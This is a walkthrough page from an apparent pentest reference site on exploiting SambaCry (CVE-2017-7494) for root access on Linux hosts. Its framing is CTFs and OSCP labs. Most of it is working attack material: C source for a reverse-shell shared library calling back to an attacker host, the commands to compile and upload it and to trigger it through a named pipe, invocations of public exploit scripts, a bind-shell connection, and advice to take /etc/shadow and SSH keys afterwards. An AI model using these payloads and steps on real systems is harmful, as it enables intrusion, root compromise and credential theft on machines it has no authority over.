Skip to content
HackIndex logo

HackIndex

SambaCry CVE-2017-7494 – Samba RCE via Writeable Share

3 min read May 15, 2026

SambaCry exploits the is_known_pipename() function in Samba's RPC server. When a client opens a named pipe, Samba checks whether the pipe name is valid — but does not restrict path traversal in the name. By uploading a shared library to a writeable share and then requesting a pipe name containing the full path to that library, the Samba process loads and executes it. The process typically runs as root.

Affects Samba 3.5.0 through 4.4.13, 4.5.x before 4.5.10, and 4.6.x before 4.6.4. Appears on Linux machines in CTFs and OSCP labs, particularly older Debian/Ubuntu hosts running stock Samba.

Prerequisites

  • A writeable SMB share on the target

  • Network access to port 445 or 139

  • Samba version in the vulnerable range

  • Named pipe support not disabled (nt pipe support = yes in smb.conf)

Check the Samba version:

┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script smb-os-discovery $TARGET_IP

Or enumerate via banner:

┌──(kali㉿kali)-[~]
└─$ smbclient -L //$TARGET_IP -N

Check for writeable shares and named pipe support in a single Nmap scan:

┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script smb-vuln-cve-2017-7494 $TARGET_IP 
| smb-vuln-cve-2017-7494:
|   VULNERABLE:
|   SAMBA Remote Code Execution from Writable Share
|     State: VULNERABLE
|     Writable share found.
|     Name: \\10.10.10.3\tmp

Building the Payload

Compile a reverse shell shared library. The library must be position-independent (-fpic) and built as a shared object:

Shell.c

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>

static void __attribute__((constructor)) shell(void) {
    int s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(LPORT);
    sa.sin_addr.s_addr = inet_addr("LHOST");
    connect(s, (struct sockaddr*)&sa, sizeof(sa));
    dup2(s, 0); dup2(s, 1); dup2(s, 2);
    execve("/bin/sh", NULL, NULL);
}

Replace LHOST and LPORT with your values, then compile:

┌──(kali㉿kali)-[~]
└─$ gcc -c -fpic shell.c -o shell.o
┌──(kali㉿kali)-[~]
└─$ gcc -shared -o shell.so shell.o

For a 32-bit target:

┌──(kali㉿kali)-[~]
└─$ gcc -c -fpic -m32 shell.c -o shell.o
┌──(kali㉿kali)-[~]
└─$ gcc -shared -m32 -o shell.so shell.o

Manual Exploitation

Upload the library to the writeable share:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/$SHARE -U $USER%$PASSWORD -c "put shell.so"

The library lands at a path like /path/to/share/shell.so. You need the full server-side filesystem path to the share to trigger the named pipe load. Often readable from the Nmap output or from smb-enum-shares.

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Trigger the library load by opening the pipe path via smbclient. The pipe name must be the full path to the uploaded file on the server filesystem:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/IPC$ -U $USER%$PASSWORD -c "ls /path/to/share/shell.so"

If the named pipe trick fails via smbclient directly, use the joxeankoret exploit script which handles the pipe trigger automatically:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joxeankoret/CVE-2017-7494
┌──(kali㉿kali)-[~]
└─$ cd CVE-2017-7494
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install impacket
┌──(kali㉿kali)-[~]
└─$ python cve_2017_7494.py -t $TARGET_IP -u $USER -P $PASSWORD -e shell.so -s $SHARE -r /$SHARE/shell.so --rhost $LHOST --rport $LPORT

-s is the share name, -r is the remote path to the uploaded .so on the target filesystem.

Using the opsxcq Exploit

The opsxcq repo includes a pre-compiled bind shell library for quick testing against lab environments:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/opsxcq/exploit-CVE-2017-7494
┌──(kali㉿kali)-[~]
└─$ cd exploit-CVE-2017-7494
┌──(kali㉿kali)-[~]
└─$ ./exploit.py -t $TARGET_IP -e libbindshell-samba.so -s $SHARE -r /$SHARE/libbindshell-samba.so -u $USER -p $PASSWORD -P 6699

-P 6699 is the bind shell port. Connect after the exploit:

┌──(kali㉿kali)-[~]
└─$ nc $TARGET_IP 6699

This opens a bind shell as the Samba process user — typically root on misconfigured systems.

What You Get

Samba on Linux typically runs as root, especially on older configurations. The shell lands as root on the target Linux host. From here, grab /etc/shadow, SSH keys, and any other credentials for further pivoting.

References